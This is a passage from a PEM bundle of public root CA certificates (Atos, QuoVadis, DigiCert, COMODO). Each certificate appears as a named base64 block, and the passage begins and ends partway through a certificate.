DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUdAqSzm1nzHoqvNK38DcLZ
SBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiCFoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/F
vudocP05l03Sx5iRUKrERLMjfTlH6VJi1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx970
2cu+fjOlbpSD8DT6IavqjnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGV
WOHAD3bZwI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/WSA2AHmgoCJrjNXy
YdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhyNsZt+U2e+iKo4YFWz827n+qrkRk4
r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPACuvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNf
vNoBYimipidx5joifsFvHZVwIEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR
3p1m0IvVVGb6g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN
9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlPBSeOE6Fuwg==
-----END CERTIFICATE-----

Atos TrustedRoot 2011
=====================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIIXDPLYixfszIwDQYJKoZIhvcNAQELBQAwPDEeMBwGA1UEAwwVQXRvcyBU
cnVzdGVkUm9vdCAyMDExMQ0wCwYDVQQKDARBdG9zMQswCQYDVQQGEwJERTAeFw0xMTA3MDcxNDU4
MzBaFw0zMDEyMzEyMzU5NTlaMDwxHjAcBgNVBAMMFUF0b3MgVHJ1c3RlZFJvb3QgMjAxMTENMAsG
A1UECgwEQXRvczELMAkGA1UEBhMCREUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCV
hTuXbyo7LjvPpvMpNb7PGKw+qtn4TaA+Gke5vJrf8v7MPkfoepbCJI419KkM/IL9bcFyYie96mvr
54rMVD6QUM+A1JX76LWC1BTFtqlVJVfbsVD2sGBkWXppzwO3bw2+yj5vdHLqqjAqc2K+SZFhyBH+
DgMq92og3AIVDV4VavzjgsG1xZ1kCWyjWZgHJ8cblithdHFsQ/H3NYkQ4J7sVaE3IqKHBAUsR320
HLliKWYoyrfhk/WklAOZuXCFteZI6o1Q/NnezG8HDt0Lcp2AMBYHlT8oDv3FdU9T1nSatCQujgKR
z3bFmx5VdJx4IbHwLfELn8LVlhgf8FQieowHAgMBAAGjfTB7MB0GA1UdDgQWBBSnpQaxLKYJYO7R
l+lwrrw7GWzbITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKelBrEspglg7tGX6XCuvDsZ
bNshMBgGA1UdIAQRMA8wDQYLKwYBBAGwLQMEAQEwDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEB
CwUAA4IBAQAmdzTblEiGKkGdLD4GkGDEjKwLVLgfuXvTBznk+j57sj1O7Z8jvZfza1zv7v1Apt+h
k6EKhqzvINB5Ab149xnYJDE0BAGmuhWawyfc2E8PzBhj/5kPDpFrdRbhIfzYJsdHt6bPWHJxfrrh
TZVHO8mvbaG0weyJ9rQPOLXiZNwlz6bb65pcmaHFCN795trV1lpFDMS3wrUU77QR/w4VtfX128a9
61qn8FYiqTxlVMYVqL2Gns2Dlmh6cYGJ4Qvh6hEbaAjMaZ7snkGeRDImeuKHCnE96+RapNLbxc3G
3mB/ufNPRJLvKrcYPqcZ2Qt9sTdBQrC6YB3y/gkRsPCHe6ed
-----END CERTIFICATE-----

QuoVadis Root CA 1 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIUeFhfLq0sGUvjNwc1NBMotZbUZZMwDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMSBHMzAeFw0xMjAxMTIxNzI3NDRaFw00MjAxMTIxNzI3NDRaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDEg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCgvlAQjunybEC0BJyFuTHK3C3kEakE
PBtVwedYMB0ktMPvhd6MLOHBPd+C5k+tR4ds7FtJwUrVu4/sh6x/gpqG7D0DmVIB0jWerNrwU8lm
PNSsAgHaJNM7qAJGr6Qc4/hzWHa39g6QDbXwz8z6+cZM5cOGMAqNF34168Xfuw6cwI2H44g4hWf6
Pser4BOcBRiYz5P1sZK0/CPTz9XEJ0ngnjybCKOLXSoh4Pw5qlPafX7PGglTvF0FBM+hSo+LdoIN
ofjSxxR3W5A2B4GbPgb6Ul5jxaYA/qXpUhtStZI5cgMJYr2wYBZupt0lwgNm3fME0UDiTouG9G/l
g6AnhF4EwfWQvTA9xO+oabw4m6SkltFi2mnAAZauy8RRNOoMqv8hjlmPSlzkYZqn0ukqeI1RPToV
7qJZjqlc3sX5kCLliEVx3ZGZbHqfPT2YfF72vhZooF6uCyP8Wg+qInYtyaEQHeTTRCOQiJ/GKubX
9ZqzWB4vMIkIG1SitZgj7Ah3HJVdYdHLiZxfokqRmu8hqkkWCKi9YSgxyXSthfbZxbGL0eUQMk1f
iyA6PEkfM4VZDdvLCXVDaXP7a3F98N/ETH3Goy7IlXnLc6KOTk0k+17kBL5yG6YnLUlamXrXXAkg
t3+UuU/xDRxeiEIbEbfnkduebPRq34wGmAOtzCjvpUfzUwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUo5fW816iEOGrRZ88F2Q87gFwnMwwDQYJKoZI
hvcNAQELBQADggIBABj6W3X8PnrHX3fHyt/PX8MSxEBd1DKquGrX1RUVRpgjpeaQWxiZTOOtQqOC
MTaIzen7xASWSIsBx40Bz1szBpZGZnQdT+3Btrm0DWHMY37XLneMlhwqI2hrhVd2cDMT/uFPpiN3
GPoajOi9ZcnPP/TJF9zrx7zABC4tRi9pZsMbj/7sPtPKlL92CiUNqXsCHKnQO18LwIE6PWThv6ct
Tr1NxNgpxiIY0MWscgKCP6o6ojoilzHdCGPDdRS5YCgtW2jgFqlmgiNR9etT2DGbe+m3nUvriBbP
+V04ikkwj+3x6xn0dxoxGE1nVGwvb2X52z3sIexe9PSLymBlVNFxZPT5pqOBMzYzcfCkeF9OrYMh
3jRJjehZrJ3ydlo28hP0r+AJx2EqbPfgna67hkooby7utHnNkDPDs3b69fBsnQGQ+p6Q9pxyz0fa
wx/kNSBT8lTR32GDpgLiJTjehTItXnOQUl1CxM49S+H5GYQd1aJQzEH7QRTDvdbJWqNjZgKAvQU6
O0ec7AAmTPWIUb+oI38YB7AL7YsmoWTTYUrrXJ/es69nA7Mf3W1daWhpq1467HxpvMc7hU6eFbm0
FU/DlXpY18ls6Wy58yljXrQs8C097Vpl4KlbQMJImYFtnh8GKjwStIsPm6Ik8KaN1nrgS7ZklmOV
hMJKzRwuJIczYOXD
-----END CERTIFICATE-----

QuoVadis Root CA 2 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIURFc0JFuBiZs18s64KztbpybwdSgwDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMiBHMzAeFw0xMjAxMTIxODU5MzJaFw00MjAxMTIxODU5MzJaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDIg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQChriWyARjcV4g/Ruv5r+LrI3HimtFh
ZiFfqq8nUeVuGxbULX1QsFN3vXg6YOJkApt8hpvWGo6t/x8Vf9WVHhLL5hSEBMHfNrMWn4rjyduY
NM7YMxcoRvynyfDStNVNCXJJ+fKH46nafaF9a7I6JaltUkSs+L5u+9ymc5GQYaYDFCDy54ejiK2t
oIz/pgslUiXnFgHVy7g1gQyjO/Dh4fxaXc6AcW34Sas+O7q414AB+6XrW7PFXmAqMaCvN+ggOp+o
MiwMzAkd056OXbxMmO7FGmh77FOm6RQ1o9/NgJ8MSPsc9PG/Srj61YxxSscfrf5BmrODXfKEVu+l
V0POKa2Mq1W/xPtbAd0jIaFYAI7D0GoT7RPjEiuA3GfmlbLNHiJuKvhB1PLKFAeNilUSxmn1uIZo
L1NesNKqIcGY5jDjZ1XHm26sGahVpkUG0CM62+tlXSoREfA7T8pt9DTEceT/AFr2XK4jYIVz8eQQ
sSWu1ZK7E8EM4DnatDlXtas1qnIhO4M15zHfeiFuuDIIfR0ykRVKYnLP43ehvNURG3YBZwjgQQvD
6xVu+KQZ2aKrr+InUlYrAoosFCT5v0ICvybIxo/gbjh9Uy3l7ZizlWNof/k19N+IxWA1ksB8aRxh
lRbQ694Lrz4EEEVlWFA4r0jyWbYW8jwNkALGcC4BrTwV1wIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU7edvdlq/YOxJW8ald7tyFnGbxD0wDQYJKoZI
hvcNAQELBQADggIBAJHfgD9DCX5xwvfrs4iP4VGyvD11+ShdyLyZm3tdquXK4Qr36LLTn91nMX66
AarHakE7kNQIXLJgapDwyM4DYvmL7ftuKtwGTTwpD4kWilhMSA/ohGHqPHKmd+RCroijQ1h5fq7K
pVMNqT1wvSAZYaRsOPxDMuHBR//47PERIjKWnML2W2mWeyAMQ0GaW/ZZGYjeVYg3UQt4XAoeo0L9
x52ID8DyeAIkVJOviYeIyUqAHerQbj5hLja7NQ4nlv1mNDthcnPxFlxHBlRJAHpYErAK74X9sbgz
dWqTHBLmYF5vHX/JHyPLhGGfHoJE+V+tYlUkmlKY7VHnoX6XOuYvHxHaU4AshZ6rNRDbIl9qxV6X
U/IyAgkwo1jwDQHVcsaxfGl7w/U2Rcxhbl5MlMVerugOXou/983g7aEOGzPuVBj+D77vfoRrQ+Nw
mNtddbINWQeFFSM51vHfqSYP1kjHs6Yi9TM3WpVHn3u6GBVv/9YUZINJ0gpnIdsPNWNgKCLjsZWD
zYWm3S8P52dSbrsvhXz1SnPnxT7AvSESBT/8twNJAlvIJebiVDj1eYeMHVOyToV7BjjHLPj4sHKN
JeV3UvQDHEimUF+IIDBu8oJDqz2XhOdT+yHBTw8imoa4WSr2Rz0ZiC3oheGe7IUIarFsNMkd7Egr
O3jtZsSOeWmD3n+M
-----END CERTIFICATE-----

QuoVadis Root CA 3 G3
=====================
-----BEGIN CERTIFICATE-----
MIIFYDCCA0igAwIBAgIULvWbAiin23r/1aOp7r0DoM8Sah0wDQYJKoZIhvcNAQELBQAwSDELMAkG
A1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxHjAcBgNVBAMTFVF1b1ZhZGlzIFJv
b3QgQ0EgMyBHMzAeFw0xMjAxMTIyMDI2MzJaFw00MjAxMTIyMDI2MzJaMEgxCzAJBgNVBAYTAkJN
MRkwFwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMR4wHAYDVQQDExVRdW9WYWRpcyBSb290IENBIDMg
RzMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCzyw4QZ47qFJenMioKVjZ/aEzHs286
IxSR/xl/pcqs7rN2nXrpixurazHb+gtTTK/FpRp5PIpM/6zfJd5O2YIyC0TeytuMrKNuFoM7pmRL
Mon7FhY4futD4tN0SsJiCnMK3UmzV9KwCoWdcTzeo8vAMvMBOSBDGzXRU7Ox7sWTaYI+FrUoRqHe
6okJ7UO4BUaKhvVZR74bbwEhELn9qdIoyhA5CcoTNs+cra1AdHkrAj80//ogaX3T7mH1urPnMNA3
I4ZyYUUpSFlob3emLoG+B01vr87ERRORFHAGjx+f+IdpsQ7vw4kZ6+ocYfx6bIrc1gMLnia6Et3U
VDmrJqMz6nWB2i3ND0/kA9HvFZcba5DFApCTZgIhsUfei5pKgLlVj7WiL8DWM2fafsSntARE60f7
5li59wzweyuxwHApw0BiLTtIadwjPEjrewl5qW3aqDCYz4ByA4imW0aucnl8CAMhZa634RylsSqi
Md5mBPfAdOhx3v89WcyWJhKLhZVXGqtrdQtEPREoPHtht+KPZ0/l7DxMYIBpVzgeAVuNVejH38DM
dyM0SXV89pgR6y3e7UEuFAUCf+D+IOs15xGsIs5XPd7JMG0QA4XN8f+MFrXBsj6IbGB/kE+V9/Yt
rQE5BwT6dYB9v0lQ7e/JxHwc64B+27bQ3RP+ydOc17KXqQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD
AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUxhfQvKjqAkPyGwaZXSuQILnXnOQwDQYJKoZI
hvcNAQELBQADggIBADRh2Va1EodVTd2jNTFGu6QHcrxfYWLopfsLN7E8trP6KZ1/AvWkyaiTt3px
KGmPc+FSkNrVvjrlt3ZqVoAh313m6Tqe5T72omnHKgqwGEfcIHB9UqM+WXzBusnIFUBhynLWcKzS
t/Ac5IYp8M7vaGPQtSCKFWGafoaYtMnCdvvMujAWzKNhxnQT5WvvoxXqA/4Ti2Tk08HS6IT7SdEQ
TXlm66r99I0xHnAUrdzeZxNMgRVhvLfZkXdxGYFgu/BYpbWcC/ePIlUnwEsBbTuZDdQdm2NnL9Du
DcpmvJRPpq3t/O5jrFc/ZSXPsoaP0Aj/uHYUbt7lJ+yreLVTubY/6CD50qi+YUbKh4yE8/nxoGib
Ih6BJpsQBJFxwAYf3KDTuVan45gtf4Od34wrnDKOMpTwATwiKp9Dwi7DmDkHOHv8XgBCH/MyJnmD
hPbl8MFREsALHgQjDFSlTC9JxUrRtm5gDWv8a4uFJGS3iQ6rJUdbPM9+Sb3H6QrG2vd+DhcI00iX
0HGS8A85PjRqHH3Y8iKuu2n0M7SmSFXRDw4m6Oy2Cy2nhTXN/VnIn9HNPlopNLk9hM6xZdRZkZFW
dSHBd575euFgndOtBBj0fOtek49TSiIp+EgrPk2GrFt/ywaZWWDYWGWVjUTR939+J399roD1B0y2
PpxxVJkES/1Y+Zj0
-----END CERTIFICATE-----

DigiCert Assured ID Root G2
===========================
-----BEGIN CERTIFICATE-----
MIIDljCCAn6gAwIBAgIQC5McOtY5Z+pnI7/Dr5r0SzANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQw
IgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIwHhcNMTMwODAxMTIwMDAwWhcNMzgw
MTE1MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQL
ExB3d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzIw
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDZ5ygvUj82ckmIkzTz+GoeMVSAn61UQbVH
35ao1K+ALbkKz3X9iaV9JPrjIgwrvJUXCzO/GU1BBpAAvQxNEP4HteccbiJVMWWXvdMX0h5i89vq
bFCMP4QMls+3ywPgym2hFEwbid3tALBSfK+RbLE4E9HpEgjAALAcKxHad3A2m67OeYfcgnDmCXRw
VWmvo2ifv922ebPynXApVfSr/5Vh88lAbx3RvpO704gqu52/clpWcTs/1PPRCv4o76Pu2ZmvA9OP
YLfykqGxvYmJHzDNw6YuYjOuFgJ3RFrngQo8p0Quebg/BLxcoIfhG69Rjs3sLPr4/m3wOnyqi+Rn
lTGNAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTO
w0q5mVXyuNtgv6l+vVa1lzan1jANBgkqhkiG9w0BAQsFAAOCAQEAyqVVjOPIQW5pJ6d1Ee88hjZv
0p3GeDgdaZaikmkuOGybfQTUiaWxMTeKySHMq2zNixya1r9I0jJmwYrA8y8678Dj1JGG0VDjA9tz
d29KOVPt3ibHtX2vK0LRdWLjSisCx1BL4GnilmwORGYQRI+tBev4eaymG+g3NJ1TyWGqolKvSnAW
hsI6yLETcDbYz+70CjTVW0z9B5yiutkBclzzTcHdDrEcDcRjvq30FPuJ7KJBDkzMyFdA0G4Dqs0M
jomZmWzwPDCvON9vvKO+KSAnq3T/EyJ43pdSVR6DtVQgA+6uwE9W3jfMw3+qBCe703e4YtsXfJwo
IhNzbM8m9Yop5w==
-----END CERTIFICATE-----

DigiCert Assured ID Root G3
===========================
-----BEGIN CERTIFICATE-----
MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV
UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSQwIgYD
VQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1
MTIwMDAwWjBlMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQ
BgcqhkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJfZn4f5dwb
RXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17QRSAPWXYQ1qAk8C3eNvJs
KTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgF
UaFNN6KDec6NHSrkhDAKBggqhkjOPQQDAwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5Fy
YZ5eEJJZVrmDxxDnOOlYJjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy
1vUhZscv6pZjamVFkpUBtA==
-----END CERTIFICATE-----

DigiCert Global Root G2
=======================
-----BEGIN CERTIFICATE-----
MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAw
HgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUx
MjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3
dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJ
kTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO
3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauV
BJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyM
UNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQAB
o0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu
5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsr
F9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0U
WTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBH
QRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/
iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTfl
MrY=
-----END CERTIFICATE-----

DigiCert Global Root G3
=======================
-----BEGIN CERTIFICATE-----
MIICPzCCAcWgAwIBAgIQBVVWvPJepDU1w6QP1atFcjAKBggqhkjOPQQDAzBhMQswCQYDVQQGEwJV
UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYD
VQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMzAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAw
MDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5k
aWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEczMHYwEAYHKoZIzj0C
AQYFK4EEACIDYgAE3afZu4q4C/sLfyHS8L6+c/MzXRq8NOrexpu80JX28MzQC7phW1FGfp4tn+6O
YwwX7Adw9c+ELkCDnOg/QW07rdOkFFk2eJ0DQ+4QE2xy3q6Ip6FrtUPOZ9wj/wMco+I+o0IwQDAP
BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUs9tIpPmhxdiuNkHMEWNp
Yim8S8YwCgYIKoZIzj0EAwMDaAAwZQIxAK288mw/EkrRLTnDCgmXc/SINoyIJ7vmiI1Qhadj+Z4y
3maTD/HMsQmP3Wyr+mt/oAIwOWZbwmSNuJ5Q3KjVSaLtx9zRSX8XAbjIho9OjIgrqJqpisXRAL34
VOKa5Vt8sycX
-----END CERTIFICATE-----

DigiCert Trusted Root G4
========================
-----BEGIN CERTIFICATE-----
MIIFkDCCA3igAwIBAgIQBZsbV56OITLiOQe9p3d1XDANBgkqhkiG9w0BAQwFADBiMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSEw
HwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1
MTIwMDAwWjBiMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSEwHwYDVQQDExhEaWdpQ2VydCBUcnVzdGVkIFJvb3QgRzQwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC/5pBzaN675F1KPDAiMGkz7MKnJS7JIT3yithZwuEp
pz1Yq3aaza57G4QNxDAf8xukOBbrVsaXbR2rsnnyyhHS5F/WBTxSD1Ifxp4VpX6+n6lXFllVcq9o
k3DCsrp1mWpzMpTREEQQLt+C8weE5nQ7bXHiLQwb7iDVySAdYyktzuxeTsiT+CFhmzTrBcZe7Fsa
vOvJz82sNEBfsXpm7nfISKhmV1efVFiODCu3T6cw2Vbuyntd463JT17lNecxy9qTXtyOj4DatpGY
QJB5w3jHtrHEtWoYOAMQjdjUN6QuBX2I9YI+EJFwq1WCQTLX2wRzKm6RAXwhTNS8rhsDdV14Ztk6
MUSaM0C/CNdaSaTC5qmgZ92kJ7yhTzm1EVgX9yRcRo9k98FpiHaYdj1ZXUJ2h4mXaXpI8OCiEhtm
mnTK3kse5w5jrubU75KSOp493ADkRSWJtppEGSt+wJS00mFt6zPZxd9LBADMfRyVw4/3IbKyEbe7
f/LVjHAsQWCqsWMYRJUadmJ+9oCw++hkpjPRiQfhvbfmQ6QYuKZ3AeEPlAwhHbJUKSWJbOUOUlFH
dL4mrLZBdd56rF+NP8m800ERElvlEFDrMcXKchYiCd98THU/Y+whX8QgUWtvsauGi0/C1kVfnSD8
oR7FwI+isX4KJpn15GkvmB0t9dmpsh3lGwIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1Ud
DwEB/wQEAwIBhjAdBgNVHQ4EFgQU7NfjgtJxXWRM3y5nP+e6mK4cD08wDQYJKoZIhvcNAQEMBQAD
ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY
ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr
yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy
7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah
ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN
5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb
/UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa
5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK
G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP
82Z+
-----END CERTIFICATE-----

COMODO RSA Certification Authority
==================================
-----BEGIN CERTIFICATE-----
MIIF2DCCA8CgAwIBAgIQTKr5yttjb+Af907YWwOGnTANBgkqhkiG9w0BAQwFADCBhTELMAkGA1UE
BhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgG
A1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwHhcNMTAwMTE5MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMC
R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE
ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR6FSS0gpWsawNJN3Fz0Rn
dJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX/JSw8Xpz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZ
FGvnnLOFoIJ6dq9xkNfs/Q36nGz637CC9BR++b7Epi9Pf5l/tfxnQ3K9DADWietrLNPtj5gcFKt+
5eNu/Nio5JIk2kNrYrhV/erBvGy2i/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pG
x8cgoLEfZd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z+pUX
2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7wqP/0uK3pN/u6uPQL
OvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZahSL0896+1DSJMwBGB7FY79tOi4lu3
sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVICu9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+C
GCe01a60y1Dma/RMhnEw6abfFobg2P9A3fvQQoh/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5
WdYgGq/yapiqcrxXStJLnbsQ/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo0IwQDAdBgNVHQ4E
FgQUu69+Aj36pvE8hI6t7jiY7NkyMtQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8w
DQYJKoZIhvcNAQEMBQADggIBAArx1UaEt65Ru2yyTUEUAJNMnMvlwFTPoCWOAvn9sKIN9SCYPBMt
